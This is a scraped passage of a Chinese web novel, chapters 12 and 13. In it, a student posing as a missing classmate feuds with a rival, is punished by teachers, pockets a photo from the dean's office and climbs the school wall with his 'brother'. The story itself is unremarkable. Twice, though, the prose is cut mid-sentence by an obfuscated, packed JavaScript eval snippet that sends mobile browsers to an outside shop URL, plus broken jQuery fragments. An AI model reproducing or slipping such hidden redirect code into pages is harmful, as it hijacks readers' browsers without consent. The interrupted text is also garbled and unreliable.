“呃……我忘书桌上了,昨晚默写得有点晚,没来得及收拾桌子。”汤振有些尴尬地摸了摸头。 丁航瞬间眼睛都亮了,大声喊道:“没带是吧?没带就是没做!” 班长淡淡看了丁航一眼,又转头朝汤振安慰道:“没事,你刚复学不到一个月,还没调整过来,情有可原,但下不为例哦。” 说完,班长转过身,拿起粉笔,在黑板的“未交作业”一栏,写下了“丁航”两个大字。 “凭什么!”丁航像炸毛的野豹,“你这也太双标了吧,他没带就是情有可原,我没带就是没写?” 班长放下粉笔,转过身,思考片刻道:“就凭于浩磊在失踪之前就是学霸,他就算不写,也能够考高分。你也是不用写作业就能考高分的学霸吗?” “我怎么就不是了,”丁航的脸又涨得通红,“我从初二开始,成绩一直排在班上前几名,几乎没掉出过年级前五十!” 全班同学都被三人的争吵吸引,一个个将手中的课本立在课桌上,只露出一双眼睛,看班长几人的热闹。 “好汉不提当年勇,”班长直视丁航道:“那你中考的时候,怎么考得那么差?要不是因为你初中也是本校的,而且平时成绩还不错,学校才不会网开一面让你继续在这里读高中。” 丁航被堵得一句话也说不出来,胸膛剧烈起伏着,转头看向了汤振。 “于浩磊,看不出来你还有点背景,”丁航咬牙切齿道:“失踪一年回来,把全班作业带回家,没事;上课乱回答问题,也没事;现在连作业不交,都有班长护着。” 汤振面色波澜不惊,“丁哥,火气别这么大,我能有什么背景?现在学校管得这么严,大家都只是在教导主任的眼皮子底下讨生活而已。” 丁航脸上的怒色不仅没消,反而更加浓烈了: “少拿教导主任压我,她就是个心理变态,上周的迎新晚会搞得那么难看,全拜她所赐!你拿教导主任来压我,你是她的小喽啰吗?” 顿时,教室里突然陷入了一片令人窒息的安静。 原本还在看热闹的同学们,一个个像被掐住了脖子一样,瞬间低下了头,将目光死死放在书上,整个教室里只回荡着丁航一个人的声音。 汤振忽然用一种极其怜悯的目光看着丁航,丁航脸上的愠怒也逐渐消散,随之而来的是一种不安的神色。 “——丁航!” 一个能让血液冻结的声音,在教室后门炸响。 丁航如同网速卡顿一般,转身朝教室后面看去。 教导主任不知什么时候站在了教室里,那张如同钢铁面具般的脸上虽看不出任何情绪,却透着令人窒息的杀气。 教导主任的声音在安静的教室里显得格外突兀:“既然你精力这么充沛,不用上早读课就能指点江山,那你就去办公室写800字检讨吧,顺便把你们班主任第一节课要用的教具和资料全部清点好,做完了再回来上课!” 丁航的脸瞬间惨白,怔在原地足足十秒钟,随后才灰溜溜地答应了下来。 经过汤振身边时,丁航压低了声音道:“你故意的是吧?你肯定是看见她过来了……走着瞧!” 放完狠话,丁航走出了教室,跟着教导主任,朝办公室走去。 丁航满腹怨气地经过一间间教室,教导主任走在前面两步远的地方,背影冷硬如铁。 丁航看着教导主任的背影,突然换了副表情,一脸笑意地问道: “主任,我反省了一下,我刚才确实做得不对。我还想问一个问题,如果有人带了手机,但只是关机放在书包里,不拿出来玩,可以吗?” 教导主任停下脚步,转过头,用一种微妙的眼神看着丁航。 “你开学典礼没带耳朵吗,”教导主任的声音像两块石头在摩擦:“当然不行,只要是电子产品出现在校园里,被发现了,一律没收!怎么,你带手机了?” “没有没有,我没带!”丁航连连摆手,脸上的笑意却掺杂了一丝心虚。 “那就好。”教导主任回过头,继续带着丁航朝办公室走去。 办公室里,高一3班班主任的座位还是空着的,看样子,班主任应该还在来学校的路上。 丁航拿出一张作文纸,开始写起了检讨,一边写,一边用眼睛飞快地扫视着四周。 五分钟后,丁航拿起桌上的便利贴,撕下一张,用左手歪歪扭扭地在便利贴上写下了几个字: “举报于浩磊每天偷偷带手机来学校”。 写完后,丁航把这张纸条悄无声息地贴在了班主任的办公桌上,专门贴在了显眼的位置。 丁航转过身,看着逐渐升起的朝阳,脸上的笑容也变得十分明媚。 交完检讨后,丁航拿起班主任第一节课要用的教具和资料,满脸自信地朝教室走去。 12. 受罚 上午第一节课的预备铃还没响,汤振几人仍在闲聊个不停,讨论的大多都是刚才丁航被教导主任叫去办公室的事。 “嘿!你们说,教导主任会怎么骂他?”蒋朋一脸幸灾乐祸的表情。 汤振无所谓地笑了笑,“不知道,谁让他今天一大早就在教室里发疯,一会儿抢牛奶,一会儿骂人。” 于浩宁点点头,“可是不管怎样,教导主任会让丁航回教室上数学课的,第一节课毕竟是我们班主任的课。” 后座的姜岩伸着脖子道:“你们知道班主任怀孕了吗?我昨天晚自习的时候听到办公室的老师在八卦,说咱们班主任怀孕两个月了。” 汤振一惊,“那咱们现在可千万别惹她生气,一定得把孕妇的情绪照顾好。” 蒋朋侧着身子,摆了摆手,“但我觉得班主任人还挺好的,毕竟她也是大学毕业不久就来教高中生,所以跟我们挺合得来的。” 汤振听着几人的闲聊出神,指尖不自觉地转起了签字笔,脑海中回想着丁航出教室前虎视眈眈的眼神。 “叮铃铃——” 上课铃声切断了教室里的嘈杂。 丁航一脸志在必得的表情,拿着教具和资料走进了教室,得意地看了一眼坐在座位上的汤振。 汤振虽不明所以,但目光仍停留在丁航身上片刻,心里不自觉地有了一丝防备。 一分钟后,班主任踩着一双平底鞋,踏着悠闲但又节奏稳定的脚步走进教室。 “好,我们开始上课,大家翻开书……” 班主任翻书的时候,眼神极其隐蔽地快速扫过了汤振课桌上的那堆还没收齐的地理作业,然后慢慢地走下了讲台,在那堆作业周围确认了一眼。 “把作业堆这么高干什么?”班主任提醒道。 “不好意思老师,我还没收齐,收齐后马上拿去办公室。” 班主任点了点头,“嗯……你可别用这堆作业挡着,在后面搞小动作啊。” 汤振连忙点头称是,随后认认真真地看起了课本。 班主任的眼神在汤振的抽屉里停留片刻,便继续上起了课,又转身走向讲台。 清了清嗓子后,班主任拿起粉笔准备在黑板上板书,“看到后面一页了吗,接下来要讲的是函数的单调性……” 话音未落,粉笔“啪”地一声掉在地上,断成三截。 班主任突然弯下腰,双手紧紧捂住自己的腹部,眉头瞬间拧成了一个痛苦的结,她单手撑着讲台的边缘,身体止不住地往下趴去,发出了一声压抑的吸气声。 “老师!”前排的几个女生吓得直接站了起来,班长也连忙走向讲台,想要扶住班主任。 “哎呦……我,我肚子好痛,”班主任声音虚弱,好像随时会晕过去:“谁带了手机?快帮我打个急救电话,快点!” 整个教室瞬间陷入了极度的恐慌,蒋朋吓得手足无措,于浩宁也惊愕地看向讲台。 只有姜岩开口喊道:“老师怀着孕,赶紧打急救电话啊!” 汤振心中一颤,也替班主任紧张了起来,但头脑中仍存了一丝冷静,他突然想起:丁航也带了手机,习惯放在抽屉里,上次还不小心把蓝牙连到了地理老师的扩音器上。 千钧一发之际,汤振迅速伸出手,朝丁航的抽屉里摸去。 不到一秒钟,汤振便精准地拽出了那部智能手机。 “借用一下你的手机!” 汤振朝丁航低吼了一声,手指飞快地划动着屏幕,准备拨打急救电话。 丁航一脸不知所措的表情,眼神中掺杂着几分慌乱和恐惧,看了看台上的班主任,又看了看自己的手机。 讲台上又传来班主任的声音: “行了,别打了!” 这个声音中气十足,又带着几分狡黠,刚刚那股虚弱消失得一干二净。 汤振正在拨号的手指瞬间停住了。 看向讲台,只见刚才还痛苦万分的班主任,此刻已经直挺挺地站了起来,拍了拍手上的粉笔灰,脸色依旧红润,哪里还有半点虚弱的样子? 教室里的沉寂了足足持续了五秒钟。 “老师,您,您……”姜岩结结巴巴地问道。 班主任挑了挑眉,嘴角顿时勾起一抹阴谋得逞的微笑: “我装的,我肚子一点事儿都没有。今天早上,我收到了一则小道消息,说我们班某个同学偷偷带了手机。我就是好奇,想看看到底是谁在无视校规。” 汤振眼中的担忧神色渐渐散去,他看了看丁航,回想起进教室时丁航志在必得的表情,心里大约也猜到了这则“小道消息”究竟是谁透露给班主任的。 说完,班主任径直走到僵在原地的汤振面前,毫不客气地从他手里抽走了那部智能手机。 “手机我就先没收了哦,”班主任挥了挥手,拿着手机朝讲台走去。 丁航两只眼睛瞪得老大,张着嘴,像是下巴脱臼了一般,眼睁睁地看着自己的手机被紧紧地攥在了班主任的手中 全班哗然,大家已经忍不住笑出了声,但也有几个同学仍未从刚才的惊吓中反应过来。 丁航终于开口说话,吼道: “那是我的手机!” 丁航指着汤振,气急败坏地看向讲台,“老师,于浩磊也带了手机,他书包里肯定有!你凭什么只没收我的手机?” 接着,丁航又看向汤振,厉声质问道:“你干嘛不拿你自己的手机打急救电话,你凭什么拿我的手机?!” 汤振冷不丁被这么一问,竟也说不出个所以然,只是心里想着:在街头混了那么久,自己的行为也许是下意识的自我保护? 班主任皱了皱眉,神色冷漠道:“丁航,你就说你有没有违反校规?” “我,我……行,老师,我承认我今天带了手机,但是于浩磊也带了,我亲眼看见过,”丁航发疯般冲向汤振,左手直接抓住汤振的衣领,吼道:“快把手机掏出来,不然就让我搜身!” 汤振眼神突然变得犀利,像是下意识的反应一般,汤振左手猛地挡开丁航的手臂,右手又精准扣住他的手腕,借力往下一压,同时右脚在丁航的小腿处轻轻一勾。 “咚——” 丁航一个重心不稳,直接摔倒在了过道上,连带着撞翻了旁边的一张课桌,书本哗哗散落一地。 “凭你也能随便搜别人的身吗,忘了上次地理老师说的了?”汤振居高临下地看着丁航。 “你敢打我?”丁航挣扎着爬起来,双眼通红,挥起拳头就要往汤振脸上砸去。 周围同学的神色瞬间又紧张了起来,于浩宁和姜岩立刻站了起来,准备替汤振挡下丁航的拳头。 “够了,都住手!” 班主任将数学书“啪”一声摔在讲桌上,那声音震耳欲聋,如同鞭炮一般。 教室里,瞬间安静得鸦雀无声。 “在我的课堂上打架,你们眼里还有没有校规?” 班主任怒极反笑,指着教室门外,朝两人吼道:“汤振,丁航,你们两个,下节音乐课不用上了!你们有的是力气,是吧?现在,马上去操场给我跑两圈,跑完回教室门口罚站一节课!至于这节课的笔记,自己想办法找同学帮忙补上。” 丁航咬着牙,死死盯着汤振,满脸的不服气,“老师,凭什么?于浩磊的书包里明明也……” “你还不服是吧,”班主任打断丁航,厉声道:“行啊,我给你们一个解决私人恩怨的机会,马上就是开学第一次月考了,你们两个,谁考得好,谁的这笔账就一笔勾销。谁考得差,未来一个月的数学作业通通加倍!” 班主任顿了顿,目光扫过丁航,语气缓和了几分,继续道:“丁航,如果这次月考,你考得比于浩磊好,这部手机,我原封不动地还给你。如果考得没他好,不仅你的作业加倍,这手机我也会直接交给教导主任!怎么样,敢不敢拿成绩和于浩磊比一比?” 丁航猛地抬起头,眼神里似乎闪过一丝疯狂的胜负欲,“比就比!我就不信我考不过一个休学一年的!” 汤振扯了扯嘴角,漫不经心地耸了耸肩,“行啊,看看到底是谁会拿到作业加倍大礼包!” “赶紧出去跑步!”班主任没好气地指着门外命令道。 当两人一前一后走出教室前门时,班主任看着他们气冲冲的背影,原本严厉的表情突然松动了几分,语气里带着一丝不易察觉的担忧:“先等会儿,你们俩身体有没有什么不舒服的?记得先热身再跑,别把自己跑晕了!” “好的,老师。”两人齐声答道。 汤振走进楼梯口时脚步一顿,忍不住回头看了一眼班主任,班主任神色坚定,眼里却有一丝不易察觉的关怀。 上午8点40分,操场上的秋日暖阳尚未变得刺眼,几缕秋风吹得汤振心烦意乱。 两圈跑下来,丁航累得像一条脱水的鱼,双手撑在膝盖上大口大口地喘着粗气,汗水浸透了T恤衫后背。 汤振倒是显得轻松不少,只是呼吸节奏稍有些乱,在街头练出来的体能,这两圈对他来说就跟散步一样。 汤振拍了拍手上的灰,朝丁航道:“你先回教室门口站岗吧,我去自动贩卖机那边买瓶水。” 丁航连骂人的力气也没了,只恶狠狠地瞪了汤振一眼,拖着沉重的步子朝教学楼挪去。 汤振独自一人,走向了博学楼一楼大厅的角落,那里放着几台自动贩卖机。 刚掏出三枚硬币,汤振便忽然想起:开学第三天的傍晚,自己给最边上的那台机器投了两瓶饮料的钱,结果那机器半天都没出饮料。 汤振的眼神里顿时有了一丝不服气,他朝最边上的机器走去,拿着手中的硬币,“咣当”三声,塞入了投币口,并按下了按钮。 只见这台自动贩卖机仍然毫无动静,半点反应也没有。 “又来?”汤振的火气瞬间上来了:以前在街头都是他占别人的便宜,现在却被同一台自动贩卖机吞了两次钱。 汤振后退半步,猛地抬起脚,用巧劲在贩卖机的下半部分狠狠踹了一下。 “哐——” 贩卖机剧烈振了一下,但内部依旧毫无反应。 汤振扯了扯嘴角,双手抓住贩卖机的边缘,开始抱住机器,疯狂摇晃。 突然—— “你在干什么?!” 教导主任冰冷的声音,又在汤振的身后响了起来。 汤振的动作僵在半空,他眼里瞬间没了脾气,无奈地转过了头。 教导主任抱着几沓刚从后勤部拿来的文件,面如寒霜地站在离汤振十米开外的地方,阳光打在她的眼镜框上,折射出令人胆寒的冷光。 汤振慢慢松开双手,拉了一下校服下摆,指着那台自动贩卖机,满脸委屈道:“主任,这台机器是坏的。” “被你这么折腾,好的也该坏了,”教导主任目光如刀,厉色道:“自动贩卖机不是你的散打陪练,破坏公物可是要照价赔偿的,新校规里写得清清楚楚。还有,现在第一节课还没下课,你为什么不在教室里?” 汤振颔首,摇了摇头,“刚才在班里,我跟丁航发生了一点小摩擦,所以班主任罚我们来操场跑两圈。” “真的是一点小摩擦吗?”教导主任的眉头逐渐拧紧,语气严厉:“于浩磊,你是不是觉得开学第二天在博学厅出了风头,现在就可以在学校里横着走了?到我办公室去,写一份800字的检讨。你和丁航今天早上到底是怎么回事,一个二个都不让我省心……” 汤振心里被激起了一丝涟漪,他听见“博学厅”三个字,脸色突然变得较真起来。 一个极具攻击性的试探,从汤振口中问了出来: “主任,我想问一个问题,您这么针对我,是不是因为我那天当众拆穿了罗老师和伍泓的抄袭丑闻,害得学校出丑,所以您把这笔账算在我头上了?” 大厅里的空气瞬间安静,教导主任看着离自己十米远的汤振,眼神里闪过一丝极度复杂的审视。 几秒钟后,教导主任的语气忽然变得平静而正式: “于浩磊,你太轻视我了。罗老师协助学生抄袭,是她自己违背了作为教师的职业道德,她不敬业,被通报批评,被停职,都是罪有应得。我虽然严厉,却也不会把公事化作私人恩怨,去针对你这样一个还没进入社会的高中生。” 这番掷地有声的回答,反倒让汤振愣了一下,他眼里的气焰渐渐消散,低声道:“是,主任,我错了。” “下节课是什么课?”教导主任岔开了话题。 “音乐课。”汤振答道。 教导主任挥了挥自己手里的文件,说道:“既然你一大早精力就这么充沛,下节课就不用上了,检讨也不用写了,帮我整理一下资料吧,顺便打扫一下办公室。音乐课下课后,记得去跟音乐老师道个歉。” 汤振点了点头,走上前来,老老实实地接过了那一沓文件,跟在教导主任身后,走向了教学楼,又进了教导主任的办公室。 办公室里,弥漫着一股淡淡的香薰和咖啡混合的味道。 “你自己把这些资料分好,然后打扫一下卫生。我先去拿下试卷,如果中途有人来找我,帮忙说一声。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575465|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 教导主任冷冷丢下这句话,转身走出了办公室。 门“咔哒”一声关上。 汤振松了一口气,把手中的资料扔在桌上,双手交叉抱着后脑勺,靠在椅背上,休息了一分钟,随后又起身,无精打采地整理着资料。 当翻到高二年级的一叠表格时,一张“高二学生高考意向调查表”映入了汤振的眼帘。 照片上的男生留着短发,眼神倨傲——是上学期还在读高二的伍泓。 汤振的目光下移,落在表格上的“意向”一栏,上面用极其工整的字体写着四个字:“平州大学”。 汤振的眼神变得专注起来,他想起开学第一天看到的横幅,上面写着“祝贺本校全市第三名高语婕同学成功考入平州大学”,又想起迎新晚会时申雅丽问自己是不是仍然计划考平州大学,现在又看到伍泓的高考意向院校也是平州大学。 汤振低低呢喃一声:“果然是数一数二的院校,大家都想考进去呢。” 整理好资料,汤振的目光无意识地扫过教导主任的办公桌,随后停留在了那本厚厚的书上。 开学第三天的晚上,他亲眼看见,教导主任看着一张合照流泪,然后将那张合照塞进了这本书中。 汤振转头看了一眼,办公室房门紧闭,外面仍静悄悄的,又看向办公桌,桌面上井井有条,那本厚厚的书此时此刻尤为醒目。 汤振屏住呼吸,伸出手,撑开书页,将那张照片稳稳抽了出来。 那确实是一张合照,背景是浥鸣二中的校门,画面上有几百个穿着校服的学生,最前面坐着一排老师。 看上去,这就是一张普普通通的年级毕业合照,没有任何特别之处。 就在汤振更加仔细地端详着那张合照时: “咔哒——” 门把手转动的声音,如同炸雷般在安静的办公室里响起。 汤振只觉得大脑瞬间宕机了一秒,但现在把照片放回去已经来不及了。 “吱——” 办公室的门,已经被推开了一道缝。 汤振的手比大脑的反应更加迅速,以迅雷不及掩耳之势,将那张照片塞进了自己的校服里。 “清洁做完了?”教导主任拿着一堆试卷进来,眼神如平常般锐利。 汤振一只手按在胸口,感受着自己的心跳,另一只手拿着抹布,装模作样地擦着椅子的靠背。 “报告主任,”汤振的语气平稳得没有一丝波澜:“清洁刚做完,刚才的资料也已经分好了。” 教导主任狐疑地盯着汤振几秒钟,目光扫过桌面,神色恢复了平静。 “行了,”教导主任走到办公桌前坐下,“快下课了,你去给音乐老师道个歉吧,以后也让我省心点,好吗?” “明白,谢谢主任!” 汤振转过身,大步流星地走出了办公室。 关上门的瞬间,汤振只觉得,自己的后背比刚才跑完两圈时还潮湿。 回到教室,汤振趁着没人注意,将怀里那张捂得有些温热的照片掏了出来,飞快夹进了自己的地理练习册里。 上午和下午的时间在一片平静中度过,汤振几乎快忘了那张夹在练习册里的合照。 夜幕降临,晚自习的预备铃也敲响了。 晚自习期间,教室里满是笔尖划在纸上的声音,窗外偶尔传来几声秋虫的鸣叫。 汤振翻开地理练习册,准备完成几道简答题,忽然: “啪嗒——” 一张照片轻飘飘地从书页间滑出,落在了课桌上。 汤振手指一顿,才想起这是上午音乐课期间,从教导主任的办公室里偷出来的。 汤振转过头,看了一眼正在旁边做物理大题的于浩宁。 “浩宁,帮我研究一下,”汤振用书本挡着,把照片推到两人中间,压低了声音道:“你看看这张照片,有什么特别的地方吗?” 于浩宁皱着眉头,目光在照片上扫了一遍,撇了撇嘴道:“不就是一张普通的年级合照吗,怎么了?” “那这里面的人呢,有没有你认识的?” 于浩宁又看了一遍,摇了摇头,“没有,我都告诉过你了,我初中不是本校的,只不过……中间偏左的这个笑得有点惊悚的教导主任,我倒是见过无数次了。” 汤振翻了个白眼,“这就不用你说了。”随后将照片收了回来,又抬腿踢了踢前桌蒋朋的椅子。 蒋朋转过头,看清汤振递过来的照片后,一脸茫然地抓了抓头发,“这照片怎么了?” 汤振的目光变得深邃,低声说:“还记得开学第三天的晚上吗,我在办公室门缝外看到教导主任盯着这张合照流泪。当时我还跟你们说了,你们都不信。” 蒋朋搓了搓胳膊上的鸡皮疙瘩,低低道:“那就更不知道了……哎,不过话说回来,谁又没点秘密呢?” 汤振没有回答,继续看着照片,仍然没找出什么奇怪之处。 就在这时,班长拿着一张数学卷子从教室外走了进来,坐回了自己的座位上。 汤振看着班长,突然眼神一动,拿着照片,猫着身子走到了班长身旁。 “班长,”汤振喊道,将那张照片悄悄拿了出来,问道:“我记得你初中也是本校的,你觉得这张照片有什么奇怪的地方吗?” 班长推了推眼镜框,盯着照片看了片刻,朗声道: “不奇怪呀,这就是上一届的高三在毕业前拍的合照嘛。” 汤振点了点头,“真的吗,是刚毕业的那一届?” “不骗你,就是刚毕业的那一届,”班长的指尖轻轻落在一个笑容灿烂的女生脸上,笑道:“喏,你看这个学姐,这就是全市第三名,高语婕。校门口的横幅你还有印象吧?这可是我们学校考上平州大学的风云人物哦。” 汤振目光清亮,回应道:“好吧,那看来这张合照确实没啥特别的嘛。” “本来就没啥特别的,普通的年级合照而已。”班长一边拿起笔,一边回答。 忽然,班长的目光紧紧盯着汤振的眼睛,“怎么突然问这个,你这照片是哪儿来的?” 汤振的瞳孔微微抖了一下,但脸上笑容依旧:“哦,就是……今天早上我不是被罚去跑圈了吗?这是在博学楼里捡到的。我还寻思是不是谁的书签掉了呢,就顺手捡回来了。” 班长“哦”了一声,不再追问,回过头,开始认真思考试卷上的数学题。 汤振又猫着身子回了座位,将那张照片放进了书包的夹层里。 教室的玻璃窗外,夜幕如漆,月色如霜。 13. 翘课奇遇 9月23日,一场细细的秋雨过后,浥鸣县二中的校园里透着一股淡淡的泥土芬芳,操场旁边的几课榕树被风吹落了零星几片树叶,踩上去会发出湿软的闷响。 早读进行到一半,汤振正从走廊尽头的洗手间出来,准备回教室继续早读。 “于……浩磊。” 一个干涩紧绷的男声,在洗手间附近的楼梯口响起。 汤振停下脚步,寻声看去,面前站着的人是伍泓。 距离两人上次说话,已经过去了21天,汤振望着伍泓的双眼,脑海中仍然回想起那天在博学厅的对峙,心里不由得感到奇怪。 “有事吗?”汤振问道。 伍泓的目光游移不定,在汤振的下巴和肩膀之间飘忽: “我,我是来向你道歉的,”伍泓深吸一口气道:“作文大赛那件事,是我一时糊涂,但也确实是罗老师让我那样做的,我也没想到你会回来。” “我没回来不就没人发现你抄袭了么。”汤振冷冷道。 “当然,我知道,不管你回不回来,我都不应该那样做。所以我想了很久,决定来和你道歉。” 汤振看向窗外阴沉的天空,夸张地点了点头,“你确实想得挺久,二十多天才决定来和我道歉。” “我……性格比较内向,”伍泓清了清嗓子,“那天之后,我几乎每晚都睡不好,一直想找你道歉。” “很难相信敢在博学厅念别人作文的人会是一个内向的人。”汤振心不在焉地回应道。 “你忘了吗,高一的时候,你还让我不要这么内向来着。”伍泓抿嘴道。 汤振感到一丝心虚,他最不想聊的就是于浩磊以前的事情,因为容易露馅。 揉了揉太阳穴,汤振用一丝无所谓的语气应道:“我失踪了整整一年才被人救回来,医生说我有什么创伤后应激障碍,高一的事情,有些我可能想不起来。” 伍泓紧绷的肩膀松弛了一些,神色逐渐恢复正常。 “你真的……想不起来了吗?”伍泓复又关切地问道。 汤振有些不耐烦地点了点头,“嗯,没什么事的话,我先回去接着上早自习了”。 伍泓往前一步,满眼解释关心,“我一直都没机会问你,你失踪那天到底发生了什么,这一年你又经历了什么?你失踪之后,我真的很伤心。但你现在能回来,真的是……太好了!” 汤振看着眼前的伍泓,一时间不知道他葫芦里卖的什么药,但伍泓真诚的面容让汤振紧绷的神经逐渐放松了下来。 “我也记不起来全部的事情,从荒岛漂流到非法渔船,这途中经历了很多,有空再讲给你听吧。”汤振颔首道。 “总之,你能回来真是太好了,”伍泓连连抚着胸口,语气里的轻松怎么也藏不住,“既然你回来了,上次的抄袭能不能……我希望我们还能像两年前读高一的时候那样,做无话不谈的好兄弟。” 汤振侧过身,勉强笑了一下,道:“再说吧,我得先回教室了。”说完,便头也不回地朝教室走去。 天色格外阴沉,让人分不清时间。 从早自习到晚自习,除了听课以外,汤振脑海里时不时还回想起伍泓找自己道歉的事情,想要从里面琢磨出什么信息。 夜晚,寒风加重了几分,教室里的玻璃窗也多关了几扇。 高一3班的晚自习静悄悄的。 汤振坐在座位上,用笔帽一下一下地敲着地理练习册,又侧过头,看着左边低着头狂刷数学卷子的于浩宁。 汤振把身子凑近了些,用手肘碰了碰于浩宁。 于浩宁头也没抬,心不在焉地问道:“干嘛?这道题我刚有点思路。” “问你个事,”汤振的声音低得似乎只剩气息:“你哥读高一的时候,和伍泓的关系很好吗?” 于浩宁笔尖一顿,皱着眉头想了想,道:“我也不知道,我哥在家里很少提学校里的事,他平时除了看书就是写文章,有时也会去游泳。只不过……如果关系真的很好的话,伍泓会抄袭我哥的作文吗?” “行,我知道了。” 汤振冷笑了一声,开始继续琢磨书上的地理题。 黑板右上方的挂钟逐渐指向七点,晚自习的预备铃让熙攘的校园逐渐安静了下来。 汤振将做了一半的练习册合上,然后毫不客气地伸手,也把于浩宁面前的数学卷子抽走了。 “你疯啦?”于浩宁压低了声音,用气息吼着。 “今晚不做了,”汤振冲于浩宁扬了扬下巴,“今天不是你生日吗,出去给你庆祝庆祝。” 于浩宁眼神一阵惊恐,“出去?现在是晚自习,校门有保安盯着,你插翅膀飞出去啊?被教导主任抓到,我俩明天就得在全校广播里!” “大门走不了,不能翻墙吗?”汤振一脸的理所当然。 “翻墙?”于浩宁的声音差点没控制住。 “嘘,小声点!”汤振一把捂住于浩宁的嘴,强行将他从座位上拽了起来,“今天第一节晚自习是班主任盯的,我刚还看到她收拾东西出了教学楼,第二节课又没人查,教导主任来了就说去厕所或者去办公室了呗,反正经常有人晚自习去办公室问老师问题。” 于浩宁满眼狐疑,“班主任收拾东西走了?” “对啊,”汤振点点头,“我亲眼看见的。” “可是今晚不是她值班么?” “所以嘛,现在没人管啦,咱们偷偷溜出去,不会被人发现的。” 在于浩宁半推半就的反抗中,汤振拉着他,像两只躲避探照灯的夜猫子,悄无声息地从后门溜出了教室,为了掩人耳目,汤振还专门拿了两张卷子。 两分钟后,两人摸索着来到了学校食堂后方的一段红砖围墙旁边,开学第一天汤振就注意到了这里是监控的死角。 围墙外,各式各样的店铺亮着灯光,和安静漆黑的校园形成了鲜明的对比。围墙上,光秃秃的,没有尖刺或玻璃渣子阻拦。 “但是我们刚吃完晚饭还不到一个小时,现在又出去吃啥?”于浩宁问道。 “仪式感还是要给你的。”汤振笑道。 后退两步,一个助跑,右脚在墙面上猛地一蹬,汤振的双手便精准地扒住了墙头,腰部一发力,整个人极其丝滑地翻了上去,蹲在墙头上冲下面招手。 “快上来,这墙只有两米高。”汤振压低声音说道。 于浩宁站在墙根下,看着那两米高的墙壁,咽了一口唾沫,“我不会啊,你再示范一次怎么上去。” 汤振无奈笑了笑,又跳了下来,蹲在地上,“踩到我的肩膀上。” 于浩宁抬起腿,笨拙地踩在了汤振不算厚实的肩膀上。 汤振也将双手举过肩膀,抓着于浩宁的脚踝,缓缓站了起来。有了汤振这个垫脚石,于浩宁轻轻松松就摸到了围墙的顶端,随后依次抬起左右脚,稳稳地坐在了墙上。 随后,汤振又一个助跑,用刚才的动作,顺利骑上了围墙。 于浩宁看着汤振,忍俊不禁。 两人回头看了看安静的校园,操场上的探照灯惨白刺眼,高中的每间教室都亮着灯光,远处的树林漆黑一片,学校旁边的一栋还未完工的大楼在夜色中像是一座废弃的城堡。 于浩宁伸出手,摸了摸身下冰冷的围墙,表情饶有意味。 “第一次翻墙逃课吧?”汤振看着于浩宁问道。 于浩宁点了点头。 汤振拍了拍于浩宁的肩膀,语气带着鼓励:“从这儿跳下去你总该不怕了吧?” 随后,两人一齐倒数了三秒钟: “扑通——” 围墙外的草丛里出现了汤振和于浩宁的身影,两人从蹲下的姿势慢慢站了起来。 汤振望了望四周,烧烤的油烟味、麻辣烫的红油味和面包的甜香,将学校里的书本味冲得一干二净。 平时晚自习一放学,这条街的每家店里几乎都挤满了学生,而现在,虽然店里都空落落的,但也已经做好了随时迎接顾客的准备。 于浩宁拍着校服上的灰土,看着眼前灯火通明、热气腾腾的街道出神。 “还是去买个小点的生日蛋糕吧,来点儿仪式感。”汤振大方地拉起于浩宁,朝街道深处走去。 两人在一家装修略显精致的店里坐下,买了一个六寸的生日蛋糕和两瓶橘子味汽水。 汤振拿过两瓶汽水,熟练地用开瓶器撬开瓶盖,递给于浩宁一瓶,在半空中跟他碰了一下,“生日快乐……弟弟。” 于浩宁看着那瓶冒着冷气的汽水,又看了看对面的汤振,脸上不禁浮起一阵笑意。 “谢谢,这次生日还是挺特别的。”于浩宁伸出手,和汤振的杯子在空中碰得“叮铃”一响。 汤振刚切下一块蛋糕,伸手递给于浩宁。 突然,汤振的余光瞥见斜对面的一个小方桌旁,坐着一个极其眼熟的身影。 那人穿着一件米色轻薄外套,头上戴着一顶压得很低的遮阳帽,脖子上还围着一条淡蓝色的丝巾,正低着头享用着美食。 就在这时,一阵夜风吹过,那人的脸庞被汤振瞧了个正着。 汤振手里的蛋糕也悬在了半空中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575466|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——那不是自己的班主任吗,怎么刚才进店的时候就没认出来呢?! 空气仿佛也在此刻安静了下来,汤振一时间竟忘了低下头,只觉得尴尬得不能再尴尬了。 似乎是察觉到了汤振视线,班主任也微微抬起了头,和汤振来了个直接对视。 四目相对的一瞬间,时间变成了突然被关上的水龙头。 班主任嘴里还咬着一块烤面筋,她的眼神里忽然充满了震惊,整个人像一座被冰冻的雕塑。 “老师……”汤振甚至想下意识站起来喊“报告”。 于浩宁也转过身子,看到了目光如炬的班主任。 班主任艰难地把嘴里的面筋咽了下去,迅速扯过两张餐巾纸随意擦了擦嘴,站起身,脸上重新拾起了属于教师的威严。 几秒钟后,班主任已经大步走到了两人桌前,双手抱胸,居高临下地看着两人,声音又冷又僵硬:“于浩磊,于浩宁,现在是晚自习时间,你们兄弟俩为什么会出现在这里?” “报告老师……”汤振撇了撇嘴,眼神里流露出一丝放弃的神色,“算了,老师,我也不瞒着您了,都是我的错,是我拉着于浩宁出来的。” “翻墙出来的,是吧,”班主任咬牙切齿地压低声音,“胆子挺大啊,这事要是被教导处知道,你俩明天就背着处分绕操场跑圈吧!现在,立刻,马上,跟我回教室!” 